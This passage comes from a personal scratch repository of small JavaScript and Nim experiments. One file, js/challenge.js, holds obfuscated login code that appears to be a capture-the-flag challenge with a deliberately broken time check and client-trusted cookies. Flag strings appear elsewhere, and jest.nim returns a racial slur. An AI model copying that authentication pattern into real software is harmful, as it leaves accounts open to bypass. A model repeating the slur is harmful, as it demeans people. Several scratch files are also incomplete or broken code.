request.body.queryResult.parameters['event_date']; 34 | var institution = request.body.queryResult.parameters['event_institution']; 35 | var city = request.body.queryResult.parameters['event_city']; 36 | var feedback = request.body.queryResult.parameters['event_feedback']; 37 | } 38 | 39 | // // Uncomment and edit to make your own intent handler 40 | // // uncomment `intentMap.set('your intent name here', yourFunctionHandler);` 41 | // // below to get this function to be run when a Dialogflow intent is matched 42 | // function yourFunctionHandler(agent) { 43 | // agent.add(`This message is from Dialogflow's Cloud Functions for Firebase editor!`); 44 | // agent.add(new Card({ 45 | // title: `Title: this is a card title`, 46 | // imageUrl: 'https://developers.google.com/actions/images/badges/XPM_BADGING_GoogleAssistant_VER.png', 47 | // text: `This is the body text of a card. You can even use line\n breaks and emoji! 💁`, 48 | // buttonText: 'This is a button', 49 | // buttonUrl: 'https://assistant.google.com/' 50 | // }) 51 | // ); 52 | // agent.add(new Suggestion(`Quick Reply`)); 53 | // agent.add(new Suggestion(`Suggestion`)); 54 | // agent.setContext({ name: 'weather', lifespan: 2, parameters: { city: 'Rome' }}); 55 | // } 56 | 57 | // // Uncomment and edit to make your own Google Assistant intent handler 58 | // // uncomment `intentMap.set('your intent name here', googleAssistantHandler);` 59 | // // below to get this function to be run when a Dialogflow intent is matched 60 | // function googleAssistantHandler(agent) { 61 | // let conv = agent.conv(); // Get Actions on Google library conv instance 62 | // conv.ask('Hello from the Actions on Google client library!') // Use Actions on Google library 63 | // agent.add(conv); // Add Actions on Google library responses to your agent's response 64 | // } 65 | // // See https://github.com/dialogflow/dialogflow-fulfillment-nodejs/tree/master/samples/actions-on-google 66 | // // for a complete Dialogflow fulfillment library Actions on Google client library v2 integration sample 67 | 68 | // Run the proper function handler based on the matched Dialogflow intent name 69 | let intentMap = new Map(); 70 | intentMap.set('Default Welcome Intent', welcome); 71 | intentMap.set('Default Fallback Intent', fallback); 72 | intentMap.set('even info', eventinfo); 73 | // intentMap.set('your intent name here', yourFunctionHandler); 74 | // intentMap.set('your intent name here', googleAssistantHandler); 75 | agent.handleRequest(intentMap); 76 | }); 77 | 78 | -------------------------------------------------------------------------------- /js/cards.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | 'use strict' 4 | 5 | const fs = require('fs'); 6 | let rawdata = fs.readFileSync('cards.json'); 7 | let cards = JSON.parse(rawdata); 8 | console.log(cards['name']) 9 | -------------------------------------------------------------------------------- /js/challenge.js: -------------------------------------------------------------------------------- 1 | $(document)['ready'](() => { 2 | function _0x3b8338(_0x4a90b9) { 3 | var _0x51fe42 = new jsSHA('SHA-256', 'TEXT'); 4 | var _0x4e3a61 = _0x4a90b9['id'] + '\x20000\x20114328\x20000\x20' + _0x4a90b9['time']; 5 | _0x51fe42['update'](_0x4e3a61); 6 | var _0x50f900 = _0x51fe42['getHash']('HEX'); 7 | return _0x50f900; 8 | } 9 | 10 | function _0x2b60c3(_0x1e5323) { 11 | var _0x1cedcf = Cookies['get']('time'); 12 | var _0x496673 = Cookies['get']('id'); 13 | if (_0x496673 == undefined || _0x1cedcf == undefined) _0x1e5323['failure'](); 14 | else if (_0x496673 != $('#login-username')['val']()) _0x1e5323['failure'](); 15 | else $['ajax']({ 16 | 'url': 'api/login/', 17 | 'type': 'POST', 18 | 'headers': { 19 | 'X-Cache-Command': 'META', 20 | 'X-Cache-User': _0x496673 21 | }, 22 | 'success': _0x3f2e31 => { 23 | var _0x57dd37 = new Date(); 24 | if (_0x3f2e31['time'] != _0x1cedcf) _0x1e5323['failure'](); 25 | else if (!_0x2f5261(_0x1cedcf, _0x57dd37)) _0x1e5323['failure'](); 26 | else _0x1e5323['success'](); 27 | } 28 | }); 29 | } 30 | 31 | function _0x2f5261(_0x371199, _0x3e1987) { 32 | return !![]; 33 | } 34 | 35 | function _0x374077() { 36 | _0x2b60c3({ 37 | 'success': _0x519e66, 38 | 'failure': _0x3079b4 39 | }); 40 | } 41 | 42 | function _0x519e66() { 43 | var _0x44a925 = Cookies['get']('id'); 44 | var _0x24e669 = Cookies['get']('cck'); 45 | $['ajax']({ 46 | 'url': 'api/login/', 47 | 'type': 'POST', 48 | 'headers': { 49 | 'X-Cache-Command': 'PULL', 50 | 'X-Cache-User': _0x44a925, 51 | 'X-Cache-Key': _0x24e669 52 | }, 53 | 'success': _0xa48257 => { 54 | _0x2024b8(_0xa48257); 55 | }, 56 | 'error': () => { 57 | alert('Unexpected\x20Error!'); 58 | Cookies['remove']('id'); 59 | Cookies['remove']('cck'); 60 | Cookies['remove']('time'); 61 | } 62 | }); 63 | } 64 | 65 | function _0x3079b4() { 66 | $['ajax']({ 67 | 'url': 'api/login/', 68 | 'type': 'POST', 69 | 'contentType': 'application/json;\x20charset=utf-8', 70 | 'processData': ![], 71 | 'data': JSON['stringify']({ 72 | 'password': $('#login-password')['val'](), 73 | 'username': $('#login-username')['val']() 74 | }), 75 | 'success': _0x30f7c5 => { 76 | _0x2024b8(_0x30f7c5); 77 | _0x3424b0(_0x30f7c5); 78 | }, 79 | 'error': _0x5194f8 => { 80 | if (_0x5194f8['status'] == 0x191) alert('Auth\x20Failed!'); 81 | console['log'](_0x5194f8); 82 | } 83 | }); 84 | } 85 | 86 | function _0x3424b0(_0x578481) { 87 | Cookies['set']('id', _0x578481['id']); 88 | Cookies['set']('time', _0x578481['time']); 89 | Cookies['set']('cck', _0x3b8338(_0x578481)); 90 | } 91 | 92 | function _0x2024b8(_0x9b7d9e) { 93 | $('.page.login')['addClass']('hidden'); 94 | $('.page.logged-in')['removeClass']('hidden'); 95 | $('#login-message')['text'](_0x9b7d9e['data']); 96 | } 97 | $('#go-to-login')['click'](() => { 98 | $('.page.reg-success')['addClass']('hidden'); 99 | $('.page.login')['removeClass']('hidden'); 100 | }); 101 | $('#logout')['click'](() => { 102 | $('.page.logged-in')['addClass']('hidden'); 103 | $('.page.login')['removeClass']('hidden'); 104 | }); 105 | $('#register')['click'](() => { 106 | $('.page.login')['addClass']('hidden'); 107 | $('.page.register')['removeClass']('hidden'); 108 | }); 109 | $('#login-re')['click'](() => { 110 | $('.page.register')['addClass']('hidden'); 111 | $('.page.login')['removeClass']('hidden'); 112 | }); 113 | $('#registration-form')['submit'](_0x2692d6 => { 114 | _0x2692d6['preventDefault'](); 115 | if ($('#reg-password')['val']() != $('#reg-again')['val']()) { 116 | alert('Passswords\x20Don\x27t\x20Match!'); 117 | $('#reg-again')['val'](''); 118 | return; 119 | } 120 | $['ajax']({ 121 | 'url': 'api/register/', 122 | 'type': 'POST', 123 | 'contentType': 'application/json;\x20charset=utf-8', 124 | 'processData': ![], 125 | 'data': JSON['stringify']({ 126 | 'password': $('#reg-password')['val']() 127 | }), 128 | 'success': _0x3ddaa9 => { 129 | console['log'](_0x3ddaa9); 130 | $('.page.register')['addClass']('hidden'); 131 | $('.page.reg-success')['removeClass']('hidden'); 132 | $('#reg-message')['text'](_0x3ddaa9['id']); 133 | }, 134 | 'error': _0x3ca01f => { 135 | console['log'](_0x3ca01f); 136 | } 137 | }); 138 | }); 139 | $('#login-form')['submit'](_0x3b2693 => { 140 | _0x3b2693['preventDefault'](); 141 | _0x374077(); 142 | }); 143 | }); 144 | -------------------------------------------------------------------------------- /js/fuzzy-fuse.js: -------------------------------------------------------------------------------- 1 | const Fuse = require('fuse.js'); 2 | const Cities = require('indian-cities-json') 3 | 4 | let options = { 5 | keys: ["name"] 6 | } 7 | 8 | var fuse = new Fuse(Cities.cities, options); 9 | var result = fuse.search("hyd"); 10 | 11 | console.log(result[0]['name']); 12 | -------------------------------------------------------------------------------- /js/hello-next/components/Header.js: -------------------------------------------------------------------------------- 1 | import Link from 'next/link' 2 | 3 | const linkStyle = { 4 | marginRight: 15 5 | } 6 | 7 | const Header = () => ( 8 |
9 | 10 | Home 11 | 12 | 13 | About 14 | 15 |
16 | ) 17 | 18 | export default Header -------------------------------------------------------------------------------- /js/hello-next/components/Layout.js: -------------------------------------------------------------------------------- 1 | import Header from './Header' 2 | 3 | const layoutStyle = { 4 | margin: 20, 5 | padding: 20, 6 | border: '1px solid #DDD' 7 | } 8 | 9 | const Layout = (props) => ( 10 |
11 |
12 |
13 | ) 14 | 15 | export default Layout -------------------------------------------------------------------------------- /js/hello-next/next.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | exportPathMap: function () { 3 | return { 4 | '/': {page: '/'} 5 | } 6 | } 7 | } -------------------------------------------------------------------------------- /js/hello-next/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hello-next", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "dev": "next", 8 | "build": "next build", 9 | "start": "next start", 10 | "export": "next export" 11 | }, 12 | "keywords": [], 13 | "author": "", 14 | "license": "ISC", 15 | "dependencies": { 16 | "next": "^9.3.2", 17 | "react": "^16.7.0", 18 | "react-dom": "^16.7.0" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /js/hello-next/pages/about.js: -------------------------------------------------------------------------------- 1 | import Layout from '../components/Layout' 2 | 3 | export default () => ( 4 | 5 |

About page here

6 |
7 | ) -------------------------------------------------------------------------------- /js/hello-next/pages/index.js: -------------------------------------------------------------------------------- 1 | import Link from 'next/link' 2 | import Header from '../components/Header' 3 | import Layout from '../components/Layout' 4 | 5 | const Index = () => ( 6 | 7 |

Hello Icy

8 |
9 | ) 10 | 11 | export default Index -------------------------------------------------------------------------------- /js/indian-cities.js: -------------------------------------------------------------------------------- 1 | var cities = require('indian-cities-json'); 2 | 3 | console.log(cities) 4 | -------------------------------------------------------------------------------- /js/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "requires": true, 3 | "lockfileVersion": 1, 4 | "dependencies": { 5 | "fuse.js": { 6 | "version": "3.3.0", 7 | "resolved": "https://registry.npmjs.org/fuse.js/-/fuse.js-3.3.0.tgz", 8 | "integrity": "sha512-ESBRkGLWMuVkapqYCcNO1uqMg5qbCKkgb+VS6wsy17Rix0/cMS9kSOZoYkjH8Ko//pgJ/EEGu0GTjk2mjX2LGQ==" 9 | }, 10 | "fuzzy-search": { 11 | "version": "3.0.1", 12 | "resolved": "https://registry.npmjs.org/fuzzy-search/-/fuzzy-search-3.0.1.tgz", 13 | "integrity": "sha512-rjUvzdsMlOyarm0oD5k6zVQwgvt4Tb5Xe3YdIGU+Vogw54+ueAGPUTMU2B9jfPQEie5cD11i/S9J9d+MNBSQ3Q==" 14 | }, 15 | "indian-cities-json": { 16 | "version": "2.0.0", 17 | "resolved": "https://registry.npmjs.org/indian-cities-json/-/indian-cities-json-2.0.0.tgz", 18 | "integrity": "sha512-8+1VFSJ5n4+rN8TUD53J7vvDtpq+xTvT01hm/m1q7sHgbIUHg5AKvhq9CGkS3TNy16saVaGqGnEb7Sj23M9vbg==" 19 | } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /js/rand.js: -------------------------------------------------------------------------------- 1 | var id = '' 2 | var size = 21 3 | 4 | var a = '_-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' 5 | 6 | while (0 < size--) { 7 | id += a[Math.random() * a.length | 0] 8 | console.log(Math.random() * a.length | 0) 9 | } 10 | 11 | 12 | console.log(id) 13 | -------------------------------------------------------------------------------- /nim/add.nim: -------------------------------------------------------------------------------- 1 | 2 | {.compile: "logic.c".} 3 | proc addtwoints(a, b: cint): cint {.importc.} 4 | 5 | when isMainModule: 6 | echo addtwoints(3, 7) 7 | -------------------------------------------------------------------------------- /nim/another_color.nim: -------------------------------------------------------------------------------- 1 | import terminal 2 | import std/colors 3 | 4 | const Nim = "Efficient and expressive programming. And cool colors!" 5 | 6 | var 7 | fg = colBrown 8 | bg = colBlue 9 | int = 1.0 10 | 11 | enableTrueColors() 12 | for i in 1..15: 13 | styledEcho bgColor, bg, fgColor, fg, Nim, resetStyle 14 | int -= 0.001 15 | fg = intensity(fg, int) 16 | 17 | setForegroundColor colRed 18 | setBackgroundColor colGreen 19 | styledEcho "Hi!", resetStyle 20 | 21 | disableTrueColors() 22 | -------------------------------------------------------------------------------- /nim/asyncc.nim: -------------------------------------------------------------------------------- 1 | import asyncdispatch, os 2 | 3 | proc hello() {.async.} = 4 | echo "hello" 5 | 6 | waitFor hello() 7 | 8 | type Obj = object 9 | limit: int 10 | 11 | iterator items(self: Obj): int = 12 | for i in 0..self.limit: 13 | sleep 5 14 | yield i 15 | 16 | proc asyncFn() {.async.} = 17 | for i in Obj(limit: 9): 18 | echo i 19 | 20 | proc anotherAsync() {.async.} = 21 | var remaining = 9 22 | while true: 23 | echo remaining 24 | dec remaining 25 | if not (remaining > 0): 26 | break 27 | await sleepAsync(1000) 28 | 29 | waitFor anotherAsync() 30 | 31 | -------------------------------------------------------------------------------- /nim/benchmarking/crap/setup.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | mkdir files 4 | cd files 5 | for i in {1..100000} 6 | do 7 | touch $i.md 8 | echo "# lmao" > $i.md 9 | done 10 | -------------------------------------------------------------------------------- /nim/blockchain/.gitignore: -------------------------------------------------------------------------------- 1 | nimcache/ 2 | main 3 | -------------------------------------------------------------------------------- /nim/blockchain/README.md: -------------------------------------------------------------------------------- 1 | # blockchain 2 | > i fell for the blockchain meme 3 | 4 | -------------------------------------------------------------------------------- /nim/blockchain/src/main.nim: -------------------------------------------------------------------------------- 1 | import times, strutils, libsha/sha256, strformat 2 | 3 | type 4 | Block = object 5 | index: int 6 | hash: string 7 | prevHash: string 8 | timestamp: string 9 | data: string 10 | 11 | proc new(this: type Block, index: int, hash: string, prevHash: string, timestamp: string, data: string): Block = 12 | result.index = index 13 | result.hash = hash 14 | result.prevHash = prevHash 15 | result.timestamp = timestamp 16 | result.data = data 17 | 18 | const genesisBlock: Block = new( 19 | Block, 0, "629585c9a487007bc146586b1fdf61d3116ff5dfac6d8da90059387fc89ddeb0", "", "123456", "Genesis Block" 20 | ) 21 | 22 | let blockchain: seq[Block] = @[genesisBlock] 23 | 24 | proc getBlockChain(): seq[Block] = 25 | return blockchain 26 | 27 | proc getLatestBlock(): Block = 28 | return blockchain[blockchain.len - 1] 29 | 30 | proc generateNextBlock(blockData: string): Block = 31 | const prevBlock: Block = getLatestBlock() 32 | const nextIndex: int = prevBlock.index + 1 33 | const nextTimestamp: string = getClockStr().replace(":", "") 34 | const nextHash: string = calculateHash(nextIndex, nextHash, prevBlock.hash, nextTimestamp, blockData) 35 | const newBlock: Block = new Block(nextIndex, nextHash, prevBlock.hash, nextTimestamp, blockData) 36 | addBlock(newBlock) 37 | return newBlock; 38 | 39 | # hashing 40 | 41 | proc calculateHash(index: int, prevHash: string, timestamp: string, data: string): string = 42 | return sha256hexdigest($index & prevHash & timestamp & data) 43 | 44 | proc calculateHashForBlock(blk: Block): string = 45 | return calculateHash(blk.index, blk.prevHash, blk.timestamp, blk.data) 46 | 47 | proc addBlock(newBlock: Block) = 48 | if isNewBlockValid(newBlock, getLatestBlock()): 49 | blockchain.add(newBlock) 50 | 51 | proc checkBlockStructure(blk: Block): bool = 52 | if blk.index.type.name == "int" and 53 | blk.timestamp.type.name == "string" and 54 | blk.hash.type.name == "string" and 55 | blk.prevHash.type.name == "string" and 56 | blk.data.type.name == "string": 57 | return true 58 | else: 59 | return false 60 | 61 | proc isNewBlockValid(newBlock: Block, prevBlock: Block): bool = 62 | if not checkBlockStructure(newBlock): 63 | echo "invalid structure" 64 | return false 65 | if prevBlock.index + 1 != newBlock.index: 66 | echo "invalid index" 67 | return false 68 | elif prevBlock.hash != newBlock.prevHash: 69 | echo "invalid previous hash" 70 | elif calculateHashForBlock(newBlock) != newBlock.hash: 71 | echo fmt"{newBlock.hash.type.name} {calculateHashForBlock(newBlock).type.name}" 72 | echo fmt"invalid hash: {calculateHashForBlock(newBlock) {newBlock.hash}}" 73 | return false 74 | return true 75 | 76 | proc addBlockToChain(newBlock: Block): bool = 77 | if isNewBlockValid(newBlock, getLatestBlock()): 78 | blockchain.add(newBlock) 79 | return true 80 | 81 | -------------------------------------------------------------------------------- /nim/c_funcs.nim: -------------------------------------------------------------------------------- 1 | proc strcmp(a, b: cstring): cint {.importc: "strcmp", nodecl.} 2 | echo strcmp("abc", "def") 3 | echo strcmp("kek", "kek") 4 | 5 | proc printf(formatstr: cstring) {.header: "", varargs.} 6 | 7 | var x = "foo" 8 | printf("Hello %d %s!\n", 19, x) 9 | -------------------------------------------------------------------------------- /nim/chall.nim: -------------------------------------------------------------------------------- 1 | echo "d0wn_th3_r4bb1t_h0l3" 2 | -------------------------------------------------------------------------------- /nim/chat.nim: -------------------------------------------------------------------------------- 1 | import asyncnet, asyncdispatch 2 | 3 | var clients {.threadvar.}: seq[AsyncSocket] 4 | 5 | proc processClient(client: AsyncSocket) {.async.} = 6 | while true: 7 | let line = await client.recvLine() 8 | if line.len == 0: break 9 | for c in clients: 10 | await c.send(line & "\c\L") 11 | 12 | proc serve() {.async.} = 13 | clients = @[] 14 | var server = newAsyncSocket() 15 | server.setSockOpt(OptReuseAddr, true) 16 | server.bindAddr(Port(12345)) 17 | server.listen() 18 | 19 | while true: 20 | let client = await server.accept() 21 | clients.add client 22 | 23 | asyncCheck processClient(client) 24 | 25 | asyncCheck serve() 26 | runForever() 27 | -------------------------------------------------------------------------------- /nim/cli.nim: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | let args = commandLineParams() 4 | echo args[0] 5 | -------------------------------------------------------------------------------- /nim/colors.nim: -------------------------------------------------------------------------------- 1 | import terminal, strformat 2 | 3 | proc blue(s: string): string = 4 | setForegroundColor(fgBlue) 5 | result = s 6 | 7 | proc green(s: string): string = 8 | setForegroundColor(fgGreen) 9 | result = s 10 | 11 | when isMainModule: 12 | var greent = green("green") 13 | echo blue("hey this is blue") 14 | echo green("hey this is green") 15 | echo fmt"formatting in {greent}" 16 | -------------------------------------------------------------------------------- /nim/colors2.nim: -------------------------------------------------------------------------------- 1 | echo "\e[1;9;32mBold!\e[0m " & "\e[36mCyan!" 2 | import terminal 3 | 4 | proc blue(s: string): string = 5 | setForegroundColor(fgBlue) 6 | result = s 7 | 8 | proc red(s: string): string = 9 | setForegroundColor(fgRed) 10 | result = s 11 | 12 | 13 | echo blue("kek") & red("ek") 14 | -------------------------------------------------------------------------------- /nim/colors3.nim: -------------------------------------------------------------------------------- 1 | import terminal 2 | import typetraits 3 | 4 | setForegroundColor(fgRed) 5 | echo "I'm in red! " 6 | setForegroundColor(fgGreen) 7 | echo "But I'm in green!" 8 | stdout.resetAttributes() 9 | stdout.write("\n") 10 | echo "Look, I'm not colored!" 11 | 12 | setForegroundColor(fgBlue) 13 | echo "blue" 14 | setForegroundColor(fgGreen) 15 | echo "green" 16 | echo stdout.type.name 17 | -------------------------------------------------------------------------------- /nim/e.nim: -------------------------------------------------------------------------------- 1 | import exportt/exports 2 | 3 | hello() 4 | -------------------------------------------------------------------------------- /nim/envstuff.nim: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | echo getEnv("?") 4 | echo execShellCmd("echo $?") 5 | -------------------------------------------------------------------------------- /nim/expandfilename.nim: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | var path = "../exploits/pma_4.8.x_rce.rb" 4 | echo(expandFilename(path)) 5 | -------------------------------------------------------------------------------- /nim/exportt/exports.nim: -------------------------------------------------------------------------------- 1 | import exportpkg/hello 2 | export hello 3 | -------------------------------------------------------------------------------- /nim/exportt/exportspkg/hello.nim: -------------------------------------------------------------------------------- 1 | 2 | proc hello() = echo "hello" 3 | -------------------------------------------------------------------------------- /nim/fabtest.nim: -------------------------------------------------------------------------------- 1 | import fab 2 | 3 | echo blue("hey does tis work") 4 | -------------------------------------------------------------------------------- /nim/fib.nim: -------------------------------------------------------------------------------- 1 | proc fib(a: cint): cint {.exportc.} = 2 | if a <= 2: 3 | result = 1 4 | else: 5 | result = fib(a - 1) + fib(a - 2) 6 | -------------------------------------------------------------------------------- /nim/file.nim: -------------------------------------------------------------------------------- 1 | import ospaths, os 2 | 3 | var path = getCurrentDir() 4 | var o = open(path) 5 | echo o.readFile() 6 | -------------------------------------------------------------------------------- /nim/forincasething.nim: -------------------------------------------------------------------------------- 1 | var test = @["set", "get", "flush"] 2 | 3 | var cmd = @["get", "keyhere", "valuehere"] 4 | 5 | for a in test: 6 | if a == cmd[0]: 7 | case cmd[0] 8 | of "set": echo "set" 9 | of "get": echo "get" 10 | of "flush": echo "flush" 11 | else: discard 12 | else: 13 | echo "no" 14 | -------------------------------------------------------------------------------- /nim/format.nim: -------------------------------------------------------------------------------- 1 | import strformat 2 | 3 | var a = "lmao" 4 | echo fmt"""{a}""" 5 | -------------------------------------------------------------------------------- /nim/git.nim: -------------------------------------------------------------------------------- 1 | proc git_libgit2_init(): cint {.importc, dynlib: "/usr/local/lib/libgit2.so".} 2 | 3 | git_libgit2_init() 4 | echo "initialized repo i think" 5 | -------------------------------------------------------------------------------- /nim/jest.nim: -------------------------------------------------------------------------------- 1 | import jester, asyncdispatch, htmlgen, osproc 2 | 3 | routes: 4 | get "/api/@name": 5 | resp Http400, "your a nig" & @"name" 6 | 7 | runForever() 8 | -------------------------------------------------------------------------------- /nim/karax/test.nim: -------------------------------------------------------------------------------- 1 | include karax / prelude 2 | import random 3 | 4 | proc createDom(): VNode = 5 | result = buildHtml(tdiv): 6 | if random(100) <= 50: 7 | text "Hello World" 8 | else: 9 | text "Hello Universe" 10 | 11 | randomize() 12 | setRenderer createDom 13 | -------------------------------------------------------------------------------- /nim/libpynim.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/nim/libpynim.so -------------------------------------------------------------------------------- /nim/logic.c: -------------------------------------------------------------------------------- 1 | int addtwoints(int a, int b) { 2 | return a + b; 3 | } 4 | -------------------------------------------------------------------------------- /nim/lowdown/x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/nim/lowdown/x -------------------------------------------------------------------------------- /nim/lowdown/x.nim: -------------------------------------------------------------------------------- 1 | proc printf(format: cstring): cint {.importc, varargs, header: "stdio.h", discardable.} 2 | printf("hi %s", "lmao") 3 | 4 | -------------------------------------------------------------------------------- /nim/main.nim: -------------------------------------------------------------------------------- 1 | # nimshell: a simple shell written in Nim 2 | 3 | proc main() = 4 | # load configs if any 5 | sh_loop(); 6 | # cleanup and shutdown 7 | 8 | proc sh_loop() = 9 | var line = "" 10 | var args = "" 11 | var status 12 | 13 | # do-while template 14 | template doWhile(a, b: untyped): untyped = 15 | b 16 | while a: 17 | b 18 | 19 | doWhile status: 20 | echo "> " 21 | line = sh_read_line() 22 | args = sh_split_line(line) 23 | status = sh_execute(args) 24 | 25 | const SH_RL_BUFSIZE 1024 26 | proc sh_read_line() = 27 | var bufsize = SH_RL_BUFSIZE 28 | var position = 0 29 | var buffer = 30 | 31 | -------------------------------------------------------------------------------- /nim/math.c: -------------------------------------------------------------------------------- 1 | #include "fib.h" 2 | #include 3 | 4 | int main(void) 5 | { 6 | NimMain(); 7 | for (int f = 0; f < 10; f++) 8 | printf("Fib of %d is %d\n", f, fib(f)); 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /nim/med.nim: -------------------------------------------------------------------------------- 1 | import httpclient, json 2 | 3 | type 4 | User = object 5 | id: string 6 | username: string 7 | user: string 8 | url: string 9 | imageUrl: string 10 | 11 | let client = newHttpClient() 12 | client.headers = newHttpHeaders({ "Authorization": "Bearer [redacted]" }) 13 | let response = client.request("https://api.medium.com/v1/me", httpMethod = HttpGet) 14 | let body = parseJson(response.body) 15 | echo body 16 | echo body["data"] 17 | let userJson = parseJson(body["data"].getStr()) 18 | let u = to(userJson, User) 19 | 20 | echo u.username 21 | echo u.url 22 | -------------------------------------------------------------------------------- /nim/metaprogramming/closureiterators.nim: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | proc powers(m: int): auto = 4 | #return iterator: int {.closure.} = # Make a closure explicitly 5 | return iterator: int = # Compiler makes this a closure for us 6 | for n in 0..int.high: 7 | yield n^m 8 | 9 | var 10 | squares = powers(2) 11 | cubes = powers(3) 12 | 13 | for i in 1..4: 14 | echo "Square: ", squares() # 0, 1, 4, 9 15 | for i in 1..4: 16 | echo "Cube: ", cubes() # 0, 1, 8, 27 17 | echo "Square: ", squares() # 16 18 | echo "Cube: ", cubes() # 64 19 | -------------------------------------------------------------------------------- /nim/metaprogramming/macros_.nim: -------------------------------------------------------------------------------- 1 | import macros 2 | 3 | dumpTree: 4 | result = 10 5 | var a = 5 6 | -------------------------------------------------------------------------------- /nim/metaprogramming/parsenum.nim: -------------------------------------------------------------------------------- 1 | import strutils 2 | 3 | type Fruit = 4 | enum Apple, Banana, Cherry 5 | 6 | 7 | for i in 1 .. 10_000_000: 8 | var select = parseEnum[Fruit]("cherry") 9 | doAssert select == Cherry 10 | -------------------------------------------------------------------------------- /nim/moreasync.nim: -------------------------------------------------------------------------------- 1 | import nanoid, asyncdispatch, asyncnet 2 | 3 | type User = object 4 | name: string 5 | id: string 6 | 7 | proc createUser() {.async.} = 8 | var u: User 9 | u.name = await generate("abcdef", 7) 10 | u.id = await generate("1234567890", 8) 11 | -------------------------------------------------------------------------------- /nim/movefile.nim: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | moveFile("/home/icy/key.asc", "/home/icy/Documents") 4 | -------------------------------------------------------------------------------- /nim/nanoidtest.nim: -------------------------------------------------------------------------------- 1 | import nanoid 2 | 3 | echo(generate()) 4 | 5 | let a = "abcdef12345" 6 | let s = 10 7 | 8 | echo(generate(alphabet=a, size=s)) 9 | 10 | 11 | assert len(generate()) == 21 12 | -------------------------------------------------------------------------------- /nim/netw.nim: -------------------------------------------------------------------------------- 1 | import net 2 | 3 | var socket = newSocket() 4 | socket.bindAddr(Port(1234)) 5 | socket.listen() 6 | 7 | var client = new Socket 8 | var address = "" 9 | 10 | while true: 11 | socket.acceptAddr(client, address) 12 | echo("Client connected from: ", address) 13 | client.close() 14 | -------------------------------------------------------------------------------- /nim/opts.nim: -------------------------------------------------------------------------------- 1 | import parseopt 2 | 3 | proc writeHelp() = 4 | echo "help" 5 | 6 | for kind, key, val in getOpt(): 7 | case kind 8 | of cmdArgument: 9 | echo("hm") 10 | of cmdLongOption, cmdShortOption: 11 | case key 12 | of "help", "h": writeHelp() 13 | of cmdEnd: assert(false) 14 | -------------------------------------------------------------------------------- /nim/parentdirs.nim: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | for dir in parentDirs(getCurrentDir()): 4 | echo dir 5 | -------------------------------------------------------------------------------- /nim/ponies.nim: -------------------------------------------------------------------------------- 1 | # ponies.nim 2 | # my zsh prompt with ponies! 3 | # using @icyphox's nicy prompt 4 | # Petr Grulich (@grulich) 5 | 6 | import nicy, strformat 7 | 8 | let 9 | prompt = color("› ", "magenta") 10 | nl = "\n" 11 | gitBranch = color(gitBranch(), "yellow") 12 | cwd = color(tilde(getCwd()), "cyan") 13 | dirty = color("no pony", "red") 14 | clean = color("pony", "green") 15 | g = gitBranch & gitStatus(dirty, clean) 16 | git = italics(g) 17 | venv = color(virtualenv(), "red") 18 | 19 | 20 | # the prompt 21 | echo fmt"{nl}{venv}{cwd}{git}{nl}{prompt}" 22 | echo fmt"flag here! 53a2809b826c5d1d1da2eec4e6037a9a" 23 | -------------------------------------------------------------------------------- /nim/primes.nim: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | proc prime(n: int): int = 4 | var n: int = 0 5 | var prime: bool 6 | for i in 2 .. n: 7 | prime = true 8 | for j in 2 ..< i: 9 | if i mod j == 0: 10 | prime = false 11 | break 12 | if prime: 13 | n = n + i 14 | return n 15 | 16 | echo prime(10) 17 | -------------------------------------------------------------------------------- /nim/print.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void print(char* s) { 4 | printf("%s", s); 5 | return 0; 6 | } 7 | -------------------------------------------------------------------------------- /nim/print_c.nim: -------------------------------------------------------------------------------- 1 | {.compile: "print.c".} 2 | proc print(s: cstring): cint {.importc.} 3 | 4 | when isMainModule: 5 | echo print("lol") 6 | -------------------------------------------------------------------------------- /nim/proc.nim: -------------------------------------------------------------------------------- 1 | proc yes(question: string): bool = 2 | echo question, " y/n" 3 | while true: 4 | case readLine(stdin) 5 | of "y", "Y": return true 6 | of "n", "N": return false 7 | else: echo "y/n or Y/N, get that right you numbskull" 8 | 9 | if yes("Should I delete all your important files?"): 10 | echo "I'm sorry Dave, I can't do taht." 11 | else: 12 | echo "I think you know what the problem is just as well as I do." 13 | -------------------------------------------------------------------------------- /nim/py_nim/fast_nimpy.nim: -------------------------------------------------------------------------------- 1 | import math, strformat, times, nimpy 2 | 3 | proc fib(n: int): int = 4 | if n <= 2: 5 | return 1 6 | else: 7 | return fib(n - 1) + fib(n - 2) 8 | -------------------------------------------------------------------------------- /nim/py_nim/fast_nimpy.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/nim/py_nim/fast_nimpy.so -------------------------------------------------------------------------------- /nim/py_nim/nimpy_test.nim: -------------------------------------------------------------------------------- 1 | import nimpy 2 | 3 | proc greet(name: string): string {.exportpy.} = 4 | return "Hello, " & name & "!" 5 | 6 | let os = pyImport("os") 7 | echo os.getcwd().to(string) 8 | -------------------------------------------------------------------------------- /nim/py_nim/nimpy_test.py: -------------------------------------------------------------------------------- 1 | import nimpy_test 2 | 3 | print(nimpy_test.greet("weed")) 4 | -------------------------------------------------------------------------------- /nim/py_nim/nimpy_test.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/nim/py_nim/nimpy_test.so 